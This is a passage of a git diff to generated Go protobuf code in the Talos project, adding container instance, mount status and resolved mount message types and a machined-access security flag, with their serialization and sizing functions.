:= &file_resource_definitions_containers_containers_proto_msgTypes[8] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[11] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -568,7 +893,7 @@ func (x *ContainerSpecSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use ContainerSpecSpec.ProtoReflect.Descriptor instead. func (*ContainerSpecSpec) Descriptor() ([]byte, []int) { - return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{8} + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{11} } func (x *ContainerSpecSpec) GetImage() *ContainerImageSpec { @@ -648,11 +973,98 @@ func (x *ContainerSpecSpec) GetDependsOn() *ContainerDependsOnSpec { return nil } +// ResolvedMountSpec is a mount with its host-side source resolved. +type ResolvedMountSpec struct { + state protoimpl.MessageState `protogen:"open.v1"` + Kind string `protobuf:"bytes,1,opt,name=kind,proto3" json:"kind,omitempty"` + // Source is the host path to bind from; empty for tmpfs and userVolume. + Source string `protobuf:"bytes,2,opt,name=source,proto3" json:"source,omitempty"` + Destination string `protobuf:"bytes,3,opt,name=destination,proto3" json:"destination,omitempty"` + Size uint64 `protobuf:"varint,4,opt,name=size,proto3" json:"size,omitempty"` + Options []string `protobuf:"bytes,5,rep,name=options,proto3" json:"options,omitempty"` + // VolumeID is the resolved userVolume's ID; empty for tmpfs and hostPath. + VolumeId string `protobuf:"bytes,6,opt,name=volume_id,json=volumeId,proto3" json:"volume_id,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *ResolvedMountSpec) Reset() { + *x = ResolvedMountSpec{} + mi := &file_resource_definitions_containers_containers_proto_msgTypes[12] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *ResolvedMountSpec) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ResolvedMountSpec) ProtoMessage() {} + +func (x *ResolvedMountSpec) ProtoReflect() protoreflect.Message { + mi := &file_resource_definitions_containers_containers_proto_msgTypes[12] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ResolvedMountSpec.ProtoReflect.Descriptor instead. +func (*ResolvedMountSpec) Descriptor() ([]byte, []int) { + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{12} +} + +func (x *ResolvedMountSpec) GetKind() string { + if x != nil { + return x.Kind + } + return "" +} + +func (x *ResolvedMountSpec) GetSource() string { + if x != nil { + return x.Source + } + return "" +} + +func (x *ResolvedMountSpec) GetDestination() string { + if x != nil { + return x.Destination + } + return "" +} + +func (x *ResolvedMountSpec) GetSize() uint64 { + if x != nil { + return x.Size + } + return 0 +} + +func (x *ResolvedMountSpec) GetOptions() []string { + if x != nil { + return x.Options + } + return nil +} + +func (x *ResolvedMountSpec) GetVolumeId() string { + if x != nil { + return x.VolumeId + } + return "" +} + var File_resource_definitions_containers_containers_proto protoreflect.FileDescriptor const file_resource_definitions_containers_containers_proto_rawDesc = "" + "\n" + - "0resource/definitions/containers/containers.proto\x12%talos.resource.definitions.containers\x1a&resource/definitions/enums/enums.proto\"~\n" + + "0resource/definitions/containers/containers.proto\x12%talos.resource.definitions.containers\x1a\x1fgoogle/protobuf/timestamp.proto\x1a&resource/definitions/enums/enums.proto\"~\n" + "\x16ContainerDependsOnSpec\x12\x14\n" + "\x05paths\x18\x01 \x03(\tR\x05paths\x12\x1a\n" + "\bnetworks\x18\x02 \x03(\tR\bnetworks\x12\x12\n" + @@ -666,14 +1078,50 @@ const file_resource_definitions_containers_containers_proto_rawDesc = "" + "\x05phase\x18\x01 \x01(\x0e2?.talos.resource.definitions.enums.ContainersContainerImagePhaseR\x05phase\x12\x14\n" + "\x05image\x18\x02 \x01(\tR\x05image\x12\x16\n" + "\x06digest\x18\x03 \x01(\tR\x06digest\x12\x14\n" + - "\x05error\x18\x04 \x01(\tR\x05error\"\xad\x01\n" + + "\x05error\x18\x04 \x01(\tR\x05error\"\x9d\x05\n" + + "\x19ContainerInstanceSpecSpec\x12!\n" + + "\fcontainer_id\x18\x01 \x01(\tR\vcontainerId\x12\x1e\n" + + "\n" + + "generation\x18\x02 \x01(\x04R\n" + + "generation\x12\x14\n" + + "\x05image\x18\x03 \x01(\tR\x05image\x12\x1e\n" + + "\n" + + "entrypoint\x18\x04 \x03(\tR\n" + + "entrypoint\x12\x12\n" + + "\x04args\x18\x05 \x03(\tR\x04args\x12\x1f\n" + + "\vworking_dir\x18\x06 \x01(\tR\n" + + "workingDir\x12P\n" + + "\x06run_as\x18\a \x01(\v29.talos.resource.definitions.containers.ContainerRunAsSpecR\x05runAs\x12 \n" + + "\venvironment\x18\b \x03(\tR\venvironment\x12P\n" + + "\x06mounts\x18\t \x03(\v28.talos.resource.definitions.containers.ResolvedMountSpecR\x06mounts\x12X\n" + + "\bsecurity\x18\n" + + " \x01(\v2<.talos.resource.definitions.containers.ContainerSecuritySpecR\bsecurity\x12U\n" + + "\anetwork\x18\v \x01(\v2;.talos.resource.definitions.containers.ContainerNetworkSpecR\anetwork\x12[\n" + + "\tresources\x18\f \x01(\v2=.talos.resource.definitions.containers.ContainerResourcesSpecR\tresources\"\xf7\x02\n" + + "\x1bContainerInstanceStatusSpec\x12!\n" + + "\fcontainer_id\x18\x01 \x01(\tR\vcontainerId\x12\x1e\n" + + "\n" + + "generation\x18\x02 \x01(\x04R\n" + + "generation\x12X\n" + + "\x05phase\x18\x03 \x01(\x0e2B.talos.resource.definitions.enums.ContainersContainerInstancePhaseR\x05phase\x12\x10\n" + + "\x03pid\x18\x04 \x01(\rR\x03pid\x12\x1b\n" + + "\texit_code\x18\x05 \x01(\x05R\bexitCode\x12\x14\n" + + "\x05error\x18\x06 \x01(\tR\x05error\x129\n" + + "\n" + + "started_at\x18\a \x01(\v2\x1a.google.protobuf.TimestampR\tstartedAt\x12;\n" + + "\vfinished_at\x18\b \x01(\v2\x1a.google.protobuf.TimestampR\n" + + "finishedAt\"\xad\x01\n" + "\x12ContainerMountSpec\x12\x12\n" + "\x04kind\x18\x01 \x01(\tR\x04kind\x12\x1b\n" + "\tvolume_id\x18\x02 \x01(\tR\bvolumeId\x12\x16\n" + "\x06source\x18\x03 \x01(\tR\x06source\x12 \n" + "\vdestination\x18\x04 \x01(\tR\vdestination\x12\x12\n" + "\x04size\x18\x05 \x01(\x04R\x04size\x12\x18\n" + - "\aoptions\x18\x06 \x03(\tR\aoptions\"9\n" + + "\aoptions\x18\x06 \x03(\tR\aoptions\"\x98\x01\n" + + "\x18ContainerMountStatusSpec\x12\x14\n" + + "\x05ready\x18\x01 \x01(\bR\x05ready\x12P\n" + + "\x06mounts\x18\x02 \x03(\v28.talos.resource.definitions.containers.ResolvedMountSpecR\x06mounts\x12\x14\n" + + "\x05error\x18\x03 \x01(\tR\x05error\"9\n" + "\x14ContainerNetworkSpec\x12!\n" + "\fhost_network\x18\x01 \x01(\bR\vhostNetwork\"X\n" + "\x16ContainerResourcesSpec\x12!\n" + @@ -681,13 +1129,14 @@ const file_resource_definitions_containers_containers_proto_rawDesc = "" + "\tcpu_limit\x18\x02 \x01(\x04R\bcpuLimit\"8\n" + "\x12ContainerRunAsSpec\x12\x10\n" + "\x03uid\x18\x01 \x01(\x05R\x03uid\x12\x10\n" + - "\x03gid\x18\x02 \x01(\x05R\x03gid\"\x8f\x01\n" + + "\x03gid\x18\x02 \x01(\x05R\x03gid\"\xb8\x01\n" + "\x15ContainerSecuritySpec\x12\x1e\n" + "\n" + "privileged\x18\x01 \x01(\bR\n" + "privileged\x12)\n" + "\x10capabilities_add\x18\x02 \x03(\tR\x0fcapabilitiesAdd\x12+\n" + - "\x11capabilities_drop\x18\x03 \x03(\tR\x10capabilitiesDrop\"\xec\x05\n" + + "\x11capabilities_drop\x18\x03 \x03(\tR\x10capabilitiesDrop\x12'\n" + + "\x0fmachined_access\x18\x04 \x01(\bR\x0emachinedAccess\"\xec\x05\n" + "\x11ContainerSpecSpec\x12O\n" + "\x05image\x18\x01 \x01(\v29.talos.resource.definitions.containers.ContainerImageSpecR\x05image\x12\x1e\n" + "\n" + @@ -704,7 +1153,14 @@ const file_resource_definitions_containers_containers_proto_rawDesc = "" + "\tresources\x18\n" + " \x01(\v2=.talos.resource.definitions.containers.ContainerResourcesSpecR\tresources\x12\\\n" + "\n" + - "depends_on\x18\v \x01(\v2=.talos.resource.definitions.containers.ContainerDependsOnSpecR\tdependsOnB~\n" + + "depends_on\x18\v \x01(\v2=.talos.resource.definitions.containers.ContainerDependsOnSpecR\tdependsOn\"\xac\x01\n" + + "\x11ResolvedMountSpec\x12\x12\n" + + "\x04kind\x18\x01 \x01(\tR\x04kind\x12\x16\n" + + "\x06source\x18\x02 \x01(\tR\x06source\x12 \n" + + "\vdestination\x18\x03 \x01(\tR\vdestination\x12\x12\n" + + "\x04size\x18\x04 \x01(\x04R\x04size\x12\x18\n" + + "\aoptions\x18\x05 \x03(\tR\aoptions\x12\x1b\n" + + "\tvolume_id\x18\x06 \x01(\tR\bvolumeIdB~\n" + "-dev.talos.api.resource.definitions.containersZMgithub.com/siderolabs/talos/pkg/machinery/api/resource/definitions/containersb\x06proto3" var ( @@ -719,33 +1175,48 @@ func file_resource_definitions_containers_containers_proto_rawDescGZIP() []byte return file_resource_definitions_containers_containers_proto_rawDescData } -var file_resource_definitions_containers_containers_proto_msgTypes = make([]protoimpl.MessageInfo, 9) +var file_resource_definitions_containers_containers_proto_msgTypes = make([]protoimpl.MessageInfo, 13) var file_resource_definitions_containers_containers_proto_goTypes = []any{ - (*ContainerDependsOnSpec)(nil), // 0: talos.resource.definitions.containers.ContainerDependsOnSpec - (*ContainerImageSpec)(nil), // 1: talos.resource.definitions.containers.ContainerImageSpec - (*ContainerImageStatusSpec)(nil), // 2: talos.resource.definitions.containers.ContainerImageStatusSpec - (*ContainerMountSpec)(nil), // 3: talos.resource.definitions.containers.ContainerMountSpec - (*ContainerNetworkSpec)(nil), // 4: talos.resource.definitions.containers.ContainerNetworkSpec - (*ContainerResourcesSpec)(nil), // 5: talos.resource.definitions.containers.ContainerResourcesSpec - (*ContainerRunAsSpec)(nil), // 6: talos.resource.definitions.containers.ContainerRunAsSpec - (*ContainerSecuritySpec)(nil), // 7: talos.resource.definitions.containers.ContainerSecuritySpec - (*ContainerSpecSpec)(nil), // 8: talos.resource.definitions.containers.ContainerSpecSpec - (enums.ContainersContainerImagePhase)(0), // 9: talos.resource.definitions.enums.ContainersContainerImagePhase + (*ContainerDependsOnSpec)(nil), // 0: talos.resource.definitions.containers.ContainerDependsOnSpec + (*ContainerImageSpec)(nil), // 1: talos.resource.definitions.containers.ContainerImageSpec + (*ContainerImageStatusSpec)(nil), // 2: talos.resource.definitions.containers.ContainerImageStatusSpec + (*ContainerInstanceSpecSpec)(nil), // 3: talos.resource.definitions.containers.ContainerInstanceSpecSpec + (*ContainerInstanceStatusSpec)(nil), // 4: talos.resource.definitions.containers.ContainerInstanceStatusSpec + (*ContainerMountSpec)(nil), // 5: talos.resource.definitions.containers.ContainerMountSpec + (*ContainerMountStatusSpec)(nil), // 6: talos.resource.definitions.containers.ContainerMountStatusSpec + (*ContainerNetworkSpec)(nil), // 7: talos.resource.definitions.containers.ContainerNetworkSpec + (*ContainerResourcesSpec)(nil), // 8: talos.resource.definitions.containers.ContainerResourcesSpec + (*ContainerRunAsSpec)(nil), // 9: talos.resource.definitions.containers.ContainerRunAsSpec + (*ContainerSecuritySpec)(nil), // 10: talos.resource.definitions.containers.ContainerSecuritySpec + (*ContainerSpecSpec)(nil), // 11: talos.resource.definitions.containers.ContainerSpecSpec + (*ResolvedMountSpec)(nil), // 12: talos.resource.definitions.containers.ResolvedMountSpec + (enums.ContainersContainerImagePhase)(0), // 13: talos.resource.definitions.enums.ContainersContainerImagePhase + (enums.ContainersContainerInstancePhase)(0), // 14: talos.resource.definitions.enums.ContainersContainerInstancePhase + (*timestamppb.Timestamp)(nil), // 15: google.protobuf.Timestamp } var file_resource_definitions_containers_containers_proto_depIdxs = []int32{ - 9, // 0: talos.resource.definitions.containers.ContainerImageStatusSpec.phase:type_name -> talos.resource.definitions.enums.ContainersContainerImagePhase - 1, // 1: talos.resource.definitions.containers.ContainerSpecSpec.image:type_name -> talos.resource.definitions.containers.ContainerImageSpec - 6, // 2: talos.resource.definitions.containers.ContainerSpecSpec.run_as:type_name -> talos.resource.definitions.containers.ContainerRunAsSpec - 3, // 3: talos.resource.definitions.containers.ContainerSpecSpec.mounts:type_name -> talos.resource.definitions.containers.ContainerMountSpec - 7, // 4: talos.resource.definitions.containers.ContainerSpecSpec.security:type_name -> talos.resource.definitions.containers.ContainerSecuritySpec - 4, // 5: talos.resource.definitions.containers.ContainerSpecSpec.network:type_name -> talos.resource.definitions.containers.ContainerNetworkSpec - 5, // 6: talos.resource.definitions.containers.ContainerSpecSpec.resources:type_name -> talos.resource.definitions.containers.ContainerResourcesSpec - 0, // 7: talos.resource.definitions.containers.ContainerSpecSpec.depends_on:type_name -> talos.resource.definitions.containers.ContainerDependsOnSpec - 8, // [8:8] is the sub-list for method output_type - 8, // [8:8] is the sub-list for method input_type - 8, // [8:8] is the sub-list for extension type_name - 8, // [8:8] is the sub-list for extension extendee - 0, // [0:8] is the sub-list for field type_name + 13, // 0: talos.resource.definitions.containers.ContainerImageStatusSpec.phase:type_name -> talos.resource.definitions.enums.ContainersContainerImagePhase + 9, // 1: talos.resource.definitions.containers.ContainerInstanceSpecSpec.run_as:type_name -> talos.resource.definitions.containers.ContainerRunAsSpec + 12, // 2: talos.resource.definitions.containers.ContainerInstanceSpecSpec.mounts:type_name -> talos.resource.definitions.containers.ResolvedMountSpec + 10, // 3: talos.resource.definitions.containers.ContainerInstanceSpecSpec.security:type_name -> talos.resource.definitions.containers.ContainerSecuritySpec + 7, // 4: talos.resource.definitions.containers.ContainerInstanceSpecSpec.network:type_name -> talos.resource.definitions.containers.ContainerNetworkSpec + 8, // 5: talos.resource.definitions.containers.ContainerInstanceSpecSpec.resources:type_name -> talos.resource.definitions.containers.ContainerResourcesSpec + 14, // 6: talos.resource.definitions.containers.ContainerInstanceStatusSpec.phase:type_name -> talos.resource.definitions.enums.ContainersContainerInstancePhase + 15, // 7: talos.resource.definitions.containers.ContainerInstanceStatusSpec.started_at:type_name -> google.protobuf.Timestamp + 15, // 8: talos.resource.definitions.containers.ContainerInstanceStatusSpec.finished_at:type_name -> google.protobuf.Timestamp + 12, // 9: talos.resource.definitions.containers.ContainerMountStatusSpec.mounts:type_name -> talos.resource.definitions.containers.ResolvedMountSpec + 1, // 10: talos.resource.definitions.containers.ContainerSpecSpec.image:type_name -> talos.resource.definitions.containers.ContainerImageSpec + 9, // 11: talos.resource.definitions.containers.ContainerSpecSpec.run_as:type_name -> talos.resource.definitions.containers.ContainerRunAsSpec + 5, // 12: talos.resource.definitions.containers.ContainerSpecSpec.mounts:type_name -> talos.resource.definitions.containers.ContainerMountSpec + 10, // 13: talos.resource.definitions.containers.ContainerSpecSpec.security:type_name -> talos.resource.definitions.containers.ContainerSecuritySpec + 7, // 14: talos.resource.definitions.containers.ContainerSpecSpec.network:type_name -> talos.resource.definitions.containers.ContainerNetworkSpec + 8, // 15: talos.resource.definitions.containers.ContainerSpecSpec.resources:type_name -> talos.resource.definitions.containers.ContainerResourcesSpec + 0, // 16: talos.resource.definitions.containers.ContainerSpecSpec.depends_on:type_name -> talos.resource.definitions.containers.ContainerDependsOnSpec + 17, // [17:17] is the sub-list for method output_type + 17, // [17:17] is the sub-list for method input_type + 17, // [17:17] is the sub-list for extension type_name + 17, // [17:17] is the sub-list for extension extendee + 0, // [0:17] is the sub-list for field type_name } func init() { file_resource_definitions_containers_containers_proto_init() } @@ -759,7 +1230,7 @@ func file_resource_definitions_containers_containers_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: unsafe.Slice(unsafe.StringData(file_resource_definitions_containers_containers_proto_rawDesc), len(file_resource_definitions_containers_containers_proto_rawDesc)), NumEnums: 0, - NumMessages: 9, + NumMessages: 13, NumExtensions: 0, NumServices: 0, }, diff --git a/pkg/machinery/api/resource/definitions/containers/containers_vtproto.pb.go b/pkg/machinery/api/resource/definitions/containers/containers_vtproto.pb.go index 6aa27960c72..17ee096edbd 100644 --- a/pkg/machinery/api/resource/definitions/containers/containers_vtproto.pb.go +++ b/pkg/machinery/api/resource/definitions/containers/containers_vtproto.pb.go @@ -9,7 +9,9 @@ import ( io "io" protohelpers "github.com/planetscale/vtprotobuf/protohelpers" + timestamppb "github.com/planetscale/vtprotobuf/types/known/timestamppb" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + timestamppb1 "google.golang.org/protobuf/types/known/timestamppb" enums "github.com/siderolabs/talos/pkg/machinery/api/resource/definitions/enums" ) @@ -190,6 +192,231 @@ func (m *ContainerImageStatusSpec) MarshalToSizedBufferVT(dAtA []byte) (int, err return len(dAtA) - i, nil } +func (m *ContainerInstanceSpecSpec) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ContainerInstanceSpecSpec) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ContainerInstanceSpecSpec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Resources != nil { + size, err := m.Resources.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Network != nil { + size, err := m.Network.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.Security != nil { + size, err := m.Security.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x52 + } + if len(m.Mounts) > 0 { + for iNdEx := len(m.Mounts) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Mounts[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x4a + } + } + if len(m.Environment) > 0 { + for iNdEx := len(m.Environment) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Environment[iNdEx]) + copy(dAtA[i:], m.Environment[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Environment[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if m.RunAs != nil { + size, err := m.RunAs.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x3a + } + if len(m.WorkingDir) > 0 { + i -= len(m.WorkingDir) + copy(dAtA[i:], m.WorkingDir) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.WorkingDir))) + i-- + dAtA[i] = 0x32 + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x2a + } + } + if len(m.Entrypoint) > 0 { + for iNdEx := len(m.Entrypoint) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Entrypoint[iNdEx]) + copy(dAtA[i:], m.Entrypoint[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Entrypoint[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Image) > 0 { + i -= len(m.Image) + copy(dAtA[i:], m.Image) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Image))) + i-- + dAtA[i] = 0x1a + } + if m.Generation != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Generation)) + i-- + dAtA[i] = 0x10 + } + if len(m.ContainerId) > 0 { + i -= len(m.ContainerId) + copy(dAtA[i:], m.ContainerId) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ContainerId))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ContainerInstanceStatusSpec) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ContainerInstanceStatusSpec) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ContainerInstanceStatusSpec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.FinishedAt != nil { + size, err := (*timestamppb.Timestamp)(m.FinishedAt).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x42 + } + if m.StartedAt != nil { + size, err := (*timestamppb.Timestamp)(m.StartedAt).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x3a + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x32 + } + if m.ExitCode != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.ExitCode)) + i-- + dAtA[i] = 0x28 + } + if m.Pid != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x20 + } + if m.Phase != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Phase)) + i-- + dAtA[i] = 0x18 + } + if m.Generation != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Generation)) + i-- + dAtA[i] = 0x10 + } + if len(m.ContainerId) > 0 { + i -= len(m.ContainerId) + copy(dAtA[i:], m.ContainerId) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ContainerId))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + func (m *ContainerMountSpec) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil @@ -265,6 +492,68 @@ func (m *ContainerMountSpec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return len(dAtA) - i, nil } +func (m *ContainerMountStatusSpec) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ContainerMountStatusSpec) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ContainerMountStatusSpec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x1a + } + if len(m.Mounts) > 0 { + for iNdEx := len(m.Mounts) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Mounts[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + } + if m.Ready { + i-- + if m.Ready { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + func (m *ContainerNetworkSpec) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil @@ -424,6 +713,16 @@ func (m *ContainerSecuritySpec) MarshalToSizedBufferVT(dAtA []byte) (int, error) i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } + if m.MachinedAccess { + i-- + if m.MachinedAccess { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } if len(m.CapabilitiesDrop) > 0 { for iNdEx := len(m.CapabilitiesDrop) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.CapabilitiesDrop[iNdEx]) @@ -594,9 +893,84 @@ func (m *ContainerSpecSpec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return len(dAtA) - i, nil } -func (m *ContainerDependsOnSpec) SizeVT() (n int) { +func (m *ResolvedMountSpec) MarshalVT() (dAtA []byte, err error) { if m == nil { - return 0 + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ResolvedMountSpec) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ResolvedMountSpec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.VolumeId) > 0 { + i -= len(m.VolumeId) + copy(dAtA[i:], m.VolumeId) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.VolumeId))) + i-- + dAtA[i] = 0x32 + } + if len(m.Options) > 0 { + for iNdEx := len(m.Options) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Options[iNdEx]) + copy(dAtA[i:], m.Options[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Options[iNdEx]))) + i-- + dAtA[i] = 0x2a + } + } + if m.Size != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x20 + } + if len(m.Destination) > 0 { + i -= len(m.Destination) + copy(dAtA[i:], m.Destination) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Destination))) + i-- + dAtA[i] = 0x1a + } + if len(m.Source) > 0 { + i -= len(m.Source) + copy(dAtA[i:], m.Source) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Source))) + i-- + dAtA[i] = 0x12 + } + if len(m.Kind) > 0 { + i -= len(m.Kind) + copy(dAtA[i:], m.Kind) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Kind))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ContainerDependsOnSpec) SizeVT() (n int) { + if m == nil { + return 0 } var l int _ = l @@ -664,6 +1038,109 @@ func (m *ContainerImageStatusSpec) SizeVT() (n int) { return n } +func (m *ContainerInstanceSpecSpec) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.ContainerId) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Generation != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Generation)) + } + l = len(m.Image) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Entrypoint) > 0 { + for _, s := range m.Entrypoint { + l = len(s) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + l = len(m.WorkingDir) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.RunAs != nil { + l = m.RunAs.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Environment) > 0 { + for _, s := range m.Environment { + l = len(s) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if len(m.Mounts) > 0 { + for _, e := range m.Mounts { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if m.Security != nil { + l = m.Security.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Network != nil { + l = m.Network.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Resources != nil { + l = m.Resources.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ContainerInstanceStatusSpec) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.ContainerId) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Generation != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Generation)) + } + if m.Phase != 0 { + n += 1 + 